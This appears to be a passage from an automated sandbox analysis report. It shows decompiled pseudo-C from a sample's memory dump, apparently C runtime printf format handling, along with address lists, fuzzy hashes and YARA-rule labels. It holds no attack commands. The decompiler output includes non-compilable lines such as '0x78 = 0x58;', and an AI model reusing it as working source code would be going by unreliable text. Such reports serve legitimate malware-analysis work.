															E00C68F4E(_t61, 0x20, _t114, _t91);
															_t95 = _v12;
															_t120 = _t120 + 0x10;
														}
														_push(_t117 + 0xc);
														E00C7567B(_t117 + 0x448,  &_v8, _t95, _t91);
														_t97 =  *(_t117 + 0x20);
														_t66 = _t97 >> 3;
														__eflags = _t66 & 0x00000001;
														if((_t66 & 0x00000001) != 0) {
															_t99 = _t97 >> 2;
															__eflags = _t99 & 0x00000001;
															if((_t99 & 0x00000001) == 0) {
																E00C68F4E(_t117 + 0x448, 0x30, _t114, _t91);
																_t120 = _t120 + 0x10;
															}
														}
														E00C750BC(_t117, _t110, 0);
														__eflags =  *_t91;
														if( *_t91 >= 0) {
															_t69 =  *(_t117 + 0x20) >> 2;
															__eflags = _t69 & 0x00000001;
															if((_t69 & 0x00000001) != 0) {
																E00C68F4E(_t117 + 0x448, 0x20, _t114, _t91);
															}
														}
														goto L70;
													}
													__eflags = _t110 - 0x41;
													if(_t110 == 0x41) {
														goto L59;
													}
													goto L60;
												}
												__eflags = _t59;
												if(_t59 == 0) {
													goto L61;
												}
												goto L56;
											}
											__eflags = _t110 - 0x41;
											if(_t110 == 0x41) {
												goto L53;
											}
											_t59 = 0;
											goto L54;
										}
										_t90 = 1;
										goto L50;
									}
									__eflags = _t110 - 0x58;
									if(_t110 != 0x58) {
										goto L49;
									}
									goto L47;
								}
								_t76 = _t89 >> 6;
								__eflags = 1 & _t76;
								if((1 & _t76) == 0) {
									__eflags = 1 & _t89;
									if((1 & _t89) == 0) {
										_t78 = _t89 >> 1;
										__eflags = 1 & _t78;
										if((1 & _t78) != 0) {
											_v8 = 0x20;
											_t95 = 1;
											_v12 = 1;
										}
										goto L45;
									}
									_v8 = 0x2b;
									L42:
									_t95 = 1;
									_v12 = 1;
									goto L45;
								}
								_v8 = 0x2d;
								goto L42;
							}
							L11:
							_t54 = 0;
							goto L71;
						}
						_t80 = _t52;
						__eflags = _t80;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t53 = E00C71E5A(_t117, _t107, __eflags);
							goto L10;
						}
						__eflags = _t80 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t53 = E00C73293(__ecx);
						goto L10;
					}
					__eflags = _t51 - 0x67;
					if(_t51 <= 0x67) {
						L30:
						_t53 = E00C704F2(0, _t117);
						goto L10;
					}
					__eflags = _t51 - 0x69;
					if(_t51 == 0x69) {
						L27:
						_t2 = _t117 + 0x20;
						 *_t2 =  *(_t117 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t51 - 0x6e;
					if(_t51 == 0x6e) {
						_t53 = E00C72C5A(__ecx, _t107);
						goto L10;
					}
					__eflags = _t51 - 0x6f;
					if(_t51 != 0x6f) {
						goto L11;
					}
					_t53 = E00C73134(__ecx);
					goto L10;
				}
				if(_t122 == 0) {
					goto L27;
				}
				_t123 = _t51 - _t93;
				if(_t123 > 0) {
					_t82 = _t51 - 0x5a;
					__eflags = _t82;
					if(_t82 == 0) {
						_t53 = E00C6FC35(__ecx);
						goto L10;
					}
					_t83 = _t82 - 7;
					__eflags = _t83;
					if(_t83 == 0) {
						goto L30;
					}
					__eflags = _t83;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t53 = E00C713FF(0, _t117, __eflags, 0);
					goto L10;
				}
				if(_t123 == 0) {
					_push(1);
					goto L13;
				}
				if(_t51 == 0x41) {
					goto L30;
				}
				if(_t51 == 0x43) {
					goto L17;
				}
				if(_t51 <= 0x44) {
					goto L11;
				}
				if(_t51 <= 0x47) {
					goto L30;
				}
				if(_t51 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6e1ff
0x00c6e200
0x00c6e203
0x00c6e209
0x00c6e20a
0x00c6e20e
0x00c6e211
0x00c6e27f
0x00c6e282
0x00c6e2d1
0x00c6e2d1
0x00c6e2d4
0x00c6e240
0x00c6e242
0x00c6e247
0x00c6e249
0x00c6e2ef
0x00c6e2f2
0x00c6e426
0x00c6e426
0x00c6e428
0x00c6e42b
0x00c6e42b
0x00c6e2f8
0x00c6e2fa
0x00c6e2fe
0x00c6e303
0x00c6e309
0x00c6e30c
0x00c6e30f
0x00c6e311
0x00c6e342
0x00c6e342
0x00c6e345
0x00c6e348
0x00c6e34f
0x00c6e351
0x00c6e354
0x00c6e356
0x00c6e35c
0x00c6e35c
0x00c6e35c
0x00c6e35e
0x00c6e35e
0x00c6e361
0x00c6e36c
0x00c6e36c
0x00c6e36e
0x00c6e36e
0x00c6e370
0x00c6e376
0x00c6e376
0x00c6e37b
0x00c6e37e
0x00c6e389
0x00c6e38b
0x00c6e38c
0x00c6e38c
0x00c6e390
0x00c6e390
0x00c6e393
0x00c6e396
0x00c6e39a
0x00c6e3a0
0x00c6e3a6
0x00c6e3a8
0x00c6e3ac
0x00c6e3b3
0x00c6e3b8
0x00c6e3bb
0x00c6e3bb
0x00c6e3c1
0x00c6e3ce
0x00c6e3d3
0x00c6e3d8
0x00c6e3db
0x00c6e3dd
0x00c6e3df
0x00c6e3e2
0x00c6e3e5
0x00c6e3f2
0x00c6e3f7
0x00c6e3f7
0x00c6e3e5
0x00c6e3fe
0x00c6e403
0x00c6e406
0x00c6e40b
0x00c6e40e
0x00c6e410
0x00c6e41d
0x00c6e422
0x00c6e410
0x00000000
0x00c6e425
0x00c6e380
0x00c6e383
0x00000000
0x00000000
0x00000000
0x00c6e385
0x00c6e372
0x00c6e374
0x00000000
0x00000000
0x00000000
0x00c6e374
0x00c6e363
0x00c6e366
0x00000000
0x00000000
0x00c6e368
0x00000000
0x00c6e368
0x00c6e358
0x00000000
0x00c6e358
0x00c6e34a
0x00c6e34d
0x00000000
0x00000000
0x00000000
0x00c6e34d
0x00c6e315
0x00c6e318
0x00c6e31a
0x00c6e322
0x00c6e324
0x00c6e333
0x00c6e335
0x00c6e337
0x00c6e339
0x00c6e33d
0x00c6e33f
0x00c6e33f
0x00000000
0x00c6e337
0x00c6e326
0x00c6e32a
0x00c6e32a
0x00c6e32c
0x00000000
0x00c6e32c
0x00c6e31c
0x00000000
0x00c6e31c
0x00c6e24f
0x00c6e24f
0x00000000
0x00c6e24f
0x00c6e2db
0x00c6e2db
0x00c6e2de
0x00c6e2b0
0x00c6e2b0
0x00c6e2b1
0x00c6e2b3
0x00c6e2b5
0x00000000
0x00c6e2b5
0x00c6e2e0
0x00c6e2e3
0x00000000
0x00000000
0x00c6e2e9
0x00c6e258
0x00c6e258
0x00000000
0x00c6e258
0x00c6e284
0x00c6e2c7
0x00000000
0x00c6e2c7
0x00c6e286
0x00c6e289
0x00c6e2bc
0x00c6e2be
0x00000000
0x00c6e2be
0x00c6e28b
0x00c6e28e
0x00c6e2ac
0x00c6e2ac
0x00c6e2ac
0x00c6e2ac
0x00000000
0x00c6e2ac
0x00c6e290
0x00c6e293
0x00c6e2a5
0x00000000
0x00c6e2a5
0x00c6e295
0x00c6e298
0x00000000
0x00000000
0x00c6e29c
0x00000000
0x00c6e29c
0x00c6e213
0x00000000
0x00000000
0x00c6e219
0x00c6e21b
0x00c6e25c
0x00c6e25c
0x00c6e25f
0x00c6e278
0x00000000
0x00c6e278
0x00c6e261
0x00c6e261
0x00c6e264
0x00000000
0x00000000
0x00c6e267
0x00c6e26a
0x00000000
0x00000000
0x00c6e26c
0x00c6e26f
0x00000000
0x00c6e26f
0x00c6e21d
0x00c6e256
0x00000000
0x00c6e256
0x00c6e222
0x00000000
0x00000000
0x00c6e22b
0x00000000
0x00000000
0x00c6e230
0x00000000
0x00000000
0x00c6e235
0x00000000
0x00000000
0x00c6e23e
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6E376

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 857a228ed3a9231012f43015bbbb99bd4c1882ae2e5a1aa8c81453c2c7f0e1ab
Instruction ID: 1bf244a08e422d4217c4c72fd700357398fe3f3fc091c507544ac34136d4ef92
Opcode Fuzzy Hash: 857a228ed3a9231012f43015bbbb99bd4c1882ae2e5a1aa8c81453c2c7f0e1ab
Instruction Fuzzy Hash: 7D51AF781006449ADF389A6D89E67BE779FAF12304F18042FD866DB3D2C611DF48D206

Uniqueness

Uniqueness Score: -1.00%

Function 00C6E66D, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00C6E66D(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				signed int _v12;
				void* __ebx;
				char _t51;
				signed int _t52;
				void* _t53;
				signed int _t54;
				signed char _t56;
				signed char _t58;
				signed int _t59;
				void* _t61;
				signed char _t66;
				signed char _t69;
				signed char _t76;
				signed char _t78;
				signed int _t80;
				signed int _t82;
				signed int _t83;
				unsigned int _t89;
				signed int _t90;
				signed int* _t91;
				void* _t93;
				signed int _t95;
				unsigned int _t97;
				signed char _t99;
				void* _t107;
				intOrPtr _t110;
				void* _t114;
				intOrPtr* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_push(__ecx);
				_push(__ecx);
				_t117 = __ecx;
				_t93 = 0x58;
				_t51 =  *((char*)(__ecx + 0x31));
				_t122 = _t51 - 0x64;
				if(_t122 > 0) {
					__eflags = _t51 - 0x70;
					if(__eflags > 0) {
						_t52 = _t51 - 0x73;
						__eflags = _t52;
						if(_t52 == 0) {
							L9:
							_t53 = E00C735BA(_t117);
							L10:
							if(_t53 != 0) {
								__eflags =  *(_t117 + 0x30);
								if( *(_t117 + 0x30) != 0) {
									L70:
									_t54 = 1;
									L71:
									return _t54;
								}
								_t95 = 0;
								_v8 = 0;
								_v6 = 0;
								_t89 =  *(_t117 + 0x20);
								_v12 = 0;
								_t56 = _t89 >> 4;
								__eflags = 1 & _t56;
								if((1 & _t56) == 0) {
									L45:
									_t110 =  *((intOrPtr*)(_t117 + 0x31));
									__eflags = _t110 - 0x78;
									if(_t110 == 0x78) {
										L47:
										_t58 = _t89 >> 5;
										__eflags = _t58 & 0x00000001;
										if((_t58 & 0x00000001) == 0) {
											L49:
											_t90 = 0;
											__eflags = 0;
											L50:
											__eflags = _t110 - 0x61;
											if(_t110 == 0x61) {
												L53:
												_t59 = 1;
												L54:
												__eflags = _t90;
												if(_t90 != 0) {
													L56:
													 *((char*)(_t119 + _t95 - 4)) = 0x30;
													__eflags = _t110 - 0x58;
													if(_t110 == 0x58) {
														L59:
														0x78 = 0x58;
														L60:
														 *((char*)(_t119 + _t95 - 3)) = 0x78;
														_t95 = _t95 + 2;
														__eflags = _t95;
														_v12 = _t95;
														L61:
														_t91 = _t117 + 0x18;
														_t61 = _t117 + 0x448;
														_t114 =  *((intOrPtr*)(_t117 + 0x24)) -  *((intOrPtr*)(_t117 + 0x38)) - _t95;
														__eflags =  *(_t117 + 0x20) & 0x0000000c;
														if(( *(_t117 + 0x20) & 0x0000000c) == 0) {
															E00C68F4E(_t61, 0x20, _t114, _t91);
															_t95 = _v12;
															_t120 = _t120 + 0x10;
														}
														_push(_t117 + 0xc);
														E00C7567B(_t117 + 0x448,  &_v8, _t95, _t91);
														_t97 =  *(_t117 + 0x20);
														_t66 = _t97 >> 3;
														__eflags = _t66 & 0x00000001;
														if((_t66 & 0x00000001) != 0) {
															_t99 = _t97 >> 2;
															__eflags = _t99 & 0x00000001;
															if((_t99 & 0x00000001) == 0) {
																E00C68F4E(_t117 + 0x448, 0x30, _t114, _t91);
																_t120 = _t120 + 0x10;
															}
														}
														E00C7520A(_t117, _t110, 0);
														__eflags =  *_t91;
														if( *_t91 >= 0) {
															_t69 =  *(_t117 + 0x20) >> 2;
															__eflags = _t69 & 0x00000001;
															if((_t69 & 0x00000001) != 0) {
																E00C68F4E(_t117 + 0x448, 0x20, _t114, _t91);
															}
														}
														goto L70;
													}
													__eflags = _t110 - 0x41;
													if(_t110 == 0x41) {
														goto L59;
													}
													goto L60;
												}
												__eflags = _t59;
												if(_t59 == 0) {
													goto L61;
												}
												goto L56;
											}
											__eflags = _t110 - 0x41;
											if(_t110 == 0x41) {
												goto L53;
											}
											_t59 = 0;
											goto L54;
										}
										_t90 = 1;
										goto L50;
									}
									__eflags = _t110 - 0x58;
									if(_t110 != 0x58) {
										goto L49;
									}
									goto L47;
								}
								_t76 = _t89 >> 6;
								__eflags = 1 & _t76;
								if((1 & _t76) == 0) {
									__eflags = 1 & _t89;
									if((1 & _t89) == 0) {
										_t78 = _t89 >> 1;
										__eflags = 1 & _t78;
										if((1 & _t78) != 0) {
											_v8 = 0x20;
											_t95 = 1;
											_v12 = 1;
										}
										goto L45;
									}
									_v8 = 0x2b;
									L42:
									_t95 = 1;
									_v12 = 1;
									goto L45;
								}
								_v8 = 0x2d;
								goto L42;
							}
							L11:
							_t54 = 0;
							goto L71;
						}
						_t80 = _t52;
						__eflags = _t80;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t53 = E00C7212C(_t117, _t107, __eflags);
							goto L10;
						}
						__eflags = _t80 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t53 = E00C732C3(__ecx);
						goto L10;
					}
					__eflags = _t51 - 0x67;
					if(_t51 <= 0x67) {
						L30:
						_t53 = E00C707BC(0, _t117);
						goto L10;
					}
					__eflags = _t51 - 0x69;
					if(_t51 == 0x69) {
						L27:
						_t2 = _t117 + 0x20;
						 *_t2 =  *(_t117 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t51 - 0x6e;
					if(_t51 == 0x6e) {
						_t53 = E00C72D65(__ecx, _t107);
						goto L10;
					}
					__eflags = _t51 - 0x6f;
					if(_t51 != 0x6f) {
						goto L11;
					}
					_t53 = E00C73172(__ecx);
					goto L10;
				}
				if(_t122 == 0) {
					goto L27;
				}
				_t123 = _t51 - _t93;
				if(_t123 > 0) {
					_t82 = _t51 - 0x5a;
					__eflags = _t82;
					if(_t82 == 0) {
						_t53 = E00C6FD67(__ecx);
						goto L10;
					}
					_t83 = _t82 - 7;
					__eflags = _t83;
					if(_t83 == 0) {
						goto L30;
					}
					__eflags = _t83;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t53 = E00C7154D(0, _t117, __eflags, 0);
					goto L10;
				}
				if(_t123 == 0) {
					_push(1);
					goto L13;
				}
				if(_t51 == 0x41) {
					goto L30;
				}
				if(_t51 == 0x43) {
					goto L17;
				}
				if(_t51 <= 0x44) {
					goto L11;
				}
				if(_t51 <= 0x47) {
					goto L30;
				}
				if(_t51 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6e672
0x00c6e673
0x00c6e676
0x00c6e67c
0x00c6e67d
0x00c6e681
0x00c6e684
0x00c6e6f2
0x00c6e6f5
0x00c6e744
0x00c6e744
0x00c6e747
0x00c6e6b3
0x00c6e6b5
0x00c6e6ba
0x00c6e6bc
0x00c6e762
0x00c6e765
0x00c6e899
0x00c6e899
0x00c6e89b
0x00c6e89e
0x00c6e89e
0x00c6e76b
0x00c6e76d
0x00c6e771
0x00c6e776
0x00c6e77c
0x00c6e77f
0x00c6e782
0x00c6e784
0x00c6e7b5
0x00c6e7b5
0x00c6e7b8
0x00c6e7bb
0x00c6e7c2
0x00c6e7c4
0x00c6e7c7
0x00c6e7c9
0x00c6e7cf
0x00c6e7cf
0x00c6e7cf
0x00c6e7d1
0x00c6e7d1
0x00c6e7d4
0x00c6e7df
0x00c6e7df
0x00c6e7e1
0x00c6e7e1
0x00c6e7e3
0x00c6e7e9
0x00c6e7e9
0x00c6e7ee
0x00c6e7f1
0x00c6e7fc
0x00c6e7fe
0x00c6e7ff
0x00c6e7ff
0x00c6e803
0x00c6e803
0x00c6e806
0x00c6e809
0x00c6e80d
0x00c6e813
0x00c6e819
0x00c6e81b
0x00c6e81f
0x00c6e826
0x00c6e82b
0x00c6e82e
0x00c6e82e
0x00c6e834
0x00c6e841
0x00c6e846
0x00c6e84b
0x00c6e84e
0x00c6e850
0x00c6e852
0x00c6e855
0x00c6e858
0x00c6e865
0x00c6e86a
0x00c6e86a
0x00c6e858
0x00c6e871
0x00c6e876
0x00c6e879
0x00c6e87e
0x00c6e881
0x00c6e883
0x00c6e890
0x00c6e895
0x00c6e883
0x00000000
0x00c6e898
0x00c6e7f3
0x00c6e7f6
0x00000000
0x00000000
0x00000000
0x00c6e7f8
0x00c6e7e5
0x00c6e7e7
0x00000000
0x00000000
0x00000000
0x00c6e7e7
0x00c6e7d6
0x00c6e7d9
0x00000000
0x00000000
0x00c6e7db
0x00000000
0x00c6e7db
0x00c6e7cb
0x00000000
0x00c6e7cb
0x00c6e7bd
0x00c6e7c0
0x00000000
0x00000000
0x00000000
0x00c6e7c0
0x00c6e788
0x00c6e78b
0x00c6e78d
0x00c6e795
0x00c6e797
0x00c6e7a6
0x00c6e7a8
0x00c6e7aa
0x00c6e7ac
0x00c6e7b0
0x00c6e7b2
0x00c6e7b2
0x00000000
0x00c6e7aa
0x00c6e799
0x00c6e79d
0x00c6e79d
0x00c6e79f
0x00000000
0x00c6e79f
0x00c6e78f
0x00000000
0x00c6e78f
0x00c6e6c2
0x00c6e6c2
0x00000000
0x00c6e6c2
0x00c6e74e
0x00c6e74e
0x00c6e751
0x00c6e723
0x00c6e723
0x00c6e724
0x00c6e726
0x00c6e728
0x00000000
0x00c6e728
0x00c6e753
0x00c6e756
0x00000000
0x00000000
0x00c6e75c
0x00c6e6cb
0x00c6e6cb
0x00000000
0x00c6e6cb
0x00c6e6f7
0x00c6e73a
0x00000000
0x00c6e73a
0x00c6e6f9
0x00c6e6fc
0x00c6e72f
0x00c6e731
0x00000000
0x00c6e731
0x00c6e6fe
0x00c6e701
0x00c6e71f
0x00c6e71f
0x00c6e71f
0x00c6e71f
0x00000000
0x00c6e71f
0x00c6e703
0x00c6e706
0x00c6e718
0x00000000
0x00c6e718
0x00c6e708
0x00c6e70b
0x00000000
0x00000000
0x00c6e70f
0x00000000
0x00c6e70f
0x00c6e686
0x00000000
0x00000000
0x00c6e68c
0x00c6e68e
0x00c6e6cf
0x00c6e6cf
0x00c6e6d2
0x00c6e6eb
0x00000000
0x00c6e6eb
0x00c6e6d4
0x00c6e6d4
0x00c6e6d7
0x00000000
0x00000000
0x00c6e6da
0x00c6e6dd
0x00000000
0x00000000
0x00c6e6df
0x00c6e6e2
0x00000000
0x00c6e6e2
0x00c6e690
0x00c6e6c9
0x00000000
0x00c6e6c9
0x00c6e695
0x00000000
0x00000000
0x00c6e69e
0x00000000
0x00000000
0x00c6e6a3
0x00000000
0x00000000
0x00c6e6a8
0x00000000
0x00000000
0x00c6e6b1
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6E7E9

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ad20f760c9f506c990abf0dddfb171a9f88adee8d924ed0b3021fbc5a8158e5e
Instruction ID: cae2388b60412bfd28bb495d833a88f752af4bcc94cf663a8f0b3aaaef8943f4
Opcode Fuzzy Hash: ad20f760c9f506c990abf0dddfb171a9f88adee8d924ed0b3021fbc5a8158e5e
Instruction Fuzzy Hash: 4D51693C600A4C5ADB3C9A2DC8D57BE67DAAF21700F28441BE456D72D2DA11DF49D712

Uniqueness

Uniqueness Score: -1.00%

Function 00C6DB55, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00C6DB55(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				signed int _v12;
				void* __ebx;
				char _t51;
				signed int _t52;
				void* _t53;
				signed int _t54;
				signed char _t56;
				signed char _t58;
				signed int _t59;
				void* _t61;
				signed char _t66;
				signed char _t69;
				signed char _t76;
				signed char _t78;
				signed int _t80;
				signed int _t82;
				signed int _t83;
				unsigned int _t89;
				signed int _t90;
				signed int* _t91;
				void* _t93;
				signed int _t95;
				unsigned int _t97;
				signed char _t99;
				void* _t107;
				intOrPtr _t110;
				void* _t114;
				intOrPtr* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_push(__ecx);
				_push(__ecx);
				_t117 = __ecx;
				_t93 = 0x58;
				_t51 =  *((char*)(__ecx + 0x31));
				_t122 = _t51 - 0x64;
				if(_t122 > 0) {
					__eflags = _t51 - 0x70;
					if(__eflags > 0) {
						_t52 = _t51 - 0x73;
						__eflags = _t52;
						if(_t52 == 0) {
							L9:
							_t53 = E00C7336B(_t117);
							L10:
							if(_t53 != 0) {
								__eflags =  *(_t117 + 0x30);
								if( *(_t117 + 0x30) != 0) {
									L70:
									_t54 = 1;
									L71:
									return _t54;
								}
								_t95 = 0;
								_v8 = 0;
								_v6 = 0;
								_t89 =  *(_t117 + 0x20);
								_v12 = 0;
								_t56 = _t89 >> 4;
								__eflags = 1 & _t56;
								if((1 & _t56) == 0) {
									L45:
									_t110 =  *((intOrPtr*)(_t117 + 0x31));
									__eflags = _t110 - 0x78;
									if(_t110 == 0x78) {
										L47:
										_t58 = _t89 >> 5;
										__eflags = _t58 & 0x00000001;
										if((_t58 & 0x00000001) == 0) {
											L49:
											_t90 = 0;
											__eflags = 0;
											L50:
											__eflags = _t110 - 0x61;
											if(_t110 == 0x61) {
												L53:
												_t59 = 1;
												L54:
												__eflags = _t90;
												if(_t90 != 0) {
													L56:
													 *((char*)(_t119 + _t95 - 4)) = 0x30;
													__eflags = _t110 - 0x58;
													if(_t110 == 0x58) {
														L59:
														0x78 = 0x58;
														L60:
														 *((char*)(_t119 + _t95 - 3)) = 0x78;
														_t95 = _t95 + 2;
														__eflags = _t95;
														_v12 = _t95;
														L61:
														_t91 = _t117 + 0x18;
														_t61 = _t117 + 0x448;
														_t114 =  *((intOrPtr*)(_t117 + 0x24)) -  *((intOrPtr*)(_t117 + 0x38)) - _t95;
														__eflags =  *(_t117 + 0x20) & 0x0000000c;
														if(( *(_t117 + 0x20) & 0x0000000c) == 0) {
															E00C68ED3(_t61, 0x20, _t114, _t91);
															_t95 = _v12;
															_t120 = _t120 + 0x10;
														}
														_push(_t117 + 0xc);
														E00C75623(_t117 + 0x448,  &_v8, _t95, _t91);
														_t97 =  *(_t117 + 0x20);
														_t66 = _t97 >> 3;
														__eflags = _t66 & 0x00000001;
														if((_t66 & 0x00000001) != 0) {
															_t99 = _t97 >> 2;
															__eflags = _t99 & 0x00000001;
															if((_t99 & 0x00000001) == 0) {
																E00C68ED3(_t117 + 0x448, 0x30, _t114, _t91);
																_t120 = _t120 + 0x10;
															}
														}
														E00C74EC7(_t117, _t110, 0);
														__eflags =  *_t91;
														if( *_t91 >= 0) {
															_t69 =  *(_t117 + 0x20) >> 2;
															__eflags = _t69 & 0x00000001;
															if((_t69 & 0x00000001) != 0) {
																E00C68ED3(_t117 + 0x448, 0x20, _t114, _t91);
															}
														}
														goto L70;
													}
													__eflags = _t110 - 0x41;
													if(_t110 == 0x41) {
														goto L59;
													}
													goto L60;
												}
												__eflags = _t59;
												if(_t59 == 0) {
													goto L61;
												}
												goto L56;
											}
											__eflags = _t110 - 0x41;
											if(_t110 == 0x41) {
												goto L53;
											}
											_t59 = 0;
											goto L54;
										}
										_t90 = 1;
										goto L50;
									}
									__eflags = _t110 - 0x58;
									if(_t110 != 0x58) {
										goto L49;
									}
									goto L47;
								}
								_t76 = _t89 >> 6;
								__eflags = 1 & _t76;
								if((1 & _t76) == 0) {
									__eflags = 1 & _t89;
									if((1 & _t89) == 0) {
										_t78 = _t89 >> 1;
										__eflags = 1 & _t78;
										if((1 & _t78) != 0) {
											_v8 = 0x20;
											_t95 = 1;
											_v12 = 1;
										}
										goto L45;
									}
									_v8 = 0x2b;
									L42:
									_t95 = 1;
									_v12 = 1;
									goto L45;
								}
								_v8 = 0x2d;
								goto L42;
							}
							L11:
							_t54 = 0;
							goto L71;
						}
						_t80 = _t52;
						__eflags = _t80;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t53 = E00C71A37(_t117, _t107, __eflags);
							goto L10;
						}
						__eflags = _t80 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t53 = E00C7324B(__ecx);
						goto L10;
					}
					__eflags = _t51 - 0x67;
					if(_t51 <= 0x67) {
						L30:
						_t53 = E00C700D9(0, _t117);
						goto L10;
					}
					__eflags = _t51 - 0x69;
					if(_t51 == 0x69) {
						L27:
						_t2 = _t117 + 0x20;
						 *_t2 =  *(_t117 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t51 - 0x6e;
					if(_t51 == 0x6e) {
						_t53 = E00C72ADB(__ecx, _t107);
						goto L10;
					}
					__eflags = _t51 - 0x6f;
					if(_t51 != 0x6f) {
						goto L11;
					}
					_t53 = E00C730D7(__ecx);
					goto L10;
				}
				if(_t122 == 0) {
					goto L27;
				}
				_t123 = _t51 - _t93;
				if(_t123 > 0) {
					_t82 = _t51 - 0x5a;
					__eflags = _t82;
					if(_t82 == 0) {
						_t53 = E00C6FAA9(__ecx);
						goto L10;
					}
					_t83 = _t82 - 7;
					__eflags = _t83;
					if(_t83 == 0) {
						goto L30;
					}
					__eflags = _t83;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t53 = E00C71221(0, _t117, __eflags, 0);
					goto L10;
				}
				if(_t123 == 0) {
					_push(1);
					goto L13;
				}
				if(_t51 == 0x41) {
					goto L30;
				}
				if(_t51 == 0x43) {
					goto L17;
				}
				if(_t51 <= 0x44) {
					goto L11;
				}
				if(_t51 <= 0x47) {
					goto L30;
				}
				if(_t51 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6db5a
0x00c6db5b
0x00c6db5e
0x00c6db64
0x00c6db65
0x00c6db69
0x00c6db6c
0x00c6dbda
0x00c6dbdd
0x00c6dc2c
0x00c6dc2c
0x00c6dc2f
0x00c6db9b
0x00c6db9d
0x00c6dba2
0x00c6dba4
0x00c6dc4a
0x00c6dc4d
0x00c6dd81
0x00c6dd81
0x00c6dd83
0x00c6dd86
0x00c6dd86
0x00c6dc53
0x00c6dc55
0x00c6dc59
0x00c6dc5e
0x00c6dc64
0x00c6dc67
0x00c6dc6a
0x00c6dc6c
0x00c6dc9d
0x00c6dc9d
0x00c6dca0
0x00c6dca3
0x00c6dcaa
0x00c6dcac
0x00c6dcaf
0x00c6dcb1
0x00c6dcb7
0x00c6dcb7
0x00c6dcb7
0x00c6dcb9
0x00c6dcb9
0x00c6dcbc
0x00c6dcc7
0x00c6dcc7
0x00c6dcc9
0x00c6dcc9
0x00c6dccb
0x00c6dcd1
0x00c6dcd1
0x00c6dcd6
0x00c6dcd9
0x00c6dce4
0x00c6dce6
0x00c6dce7
0x00c6dce7
0x00c6dceb
0x00c6dceb
0x00c6dcee
0x00c6dcf1
0x00c6dcf5
0x00c6dcfb
0x00c6dd01
0x00c6dd03
0x00c6dd07
0x00c6dd0e
0x00c6dd13
0x00c6dd16
0x00c6dd16
0x00c6dd1c
0x00c6dd29
0x00c6dd2e
0x00c6dd33
0x00c6dd36
0x00c6dd38
0x00c6dd3a
0x00c6dd3d
0x00c6dd40
0x00c6dd4d
0x00c6dd52
0x00c6dd52
0x00c6dd40
0x00c6dd59
0x00c6dd5e
0x00c6dd61
0x00c6dd66
0x00c6dd69
0x00c6dd6b
0x00c6dd78
0x00c6dd7d
0x00c6dd6b
0x00000000
0x00c6dd80
0x00c6dcdb
0x00c6dcde
0x00000000
0x00000000
0x00000000
0x00c6dce0
0x00c6dccd
0x00c6dccf
0x00000000
0x00000000
0x00000000
0x00c6dccf
0x00c6dcbe
0x00c6dcc1
0x00000000
0x00000000
0x00c6dcc3
0x00000000
0x00c6dcc3
0x00c6dcb3
0x00000000
0x00c6dcb3
0x00c6dca5
0x00c6dca8
0x00000000
0x00000000
0x00000000
0x00c6dca8
0x00c6dc70
0x00c6dc73
0x00c6dc75
0x00c6dc7d
0x00c6dc7f
0x00c6dc8e
0x00c6dc90
0x00c6dc92
0x00c6dc94
0x00c6dc98
0x00c6dc9a
0x00c6dc9a
0x00000000
0x00c6dc92
0x00c6dc81
0x00c6dc85
0x00c6dc85
0x00c6dc87
0x00000000
0x00c6dc87
0x00c6dc77
0x00000000
0x00c6dc77
0x00c6dbaa
0x00c6dbaa
0x00000000
0x00c6dbaa
0x00c6dc36
0x00c6dc36
0x00c6dc39
0x00c6dc0b
0x00c6dc0b
0x00c6dc0c
0x00c6dc0e
0x00c6dc10
0x00000000
0x00c6dc10
0x00c6dc3b
0x00c6dc3e
0x00000000
0x00000000
0x00c6dc44
0x00c6dbb3
0x00c6dbb3
0x00000000
0x00c6dbb3
0x00c6dbdf
0x00c6dc22
0x00000000
0x00c6dc22
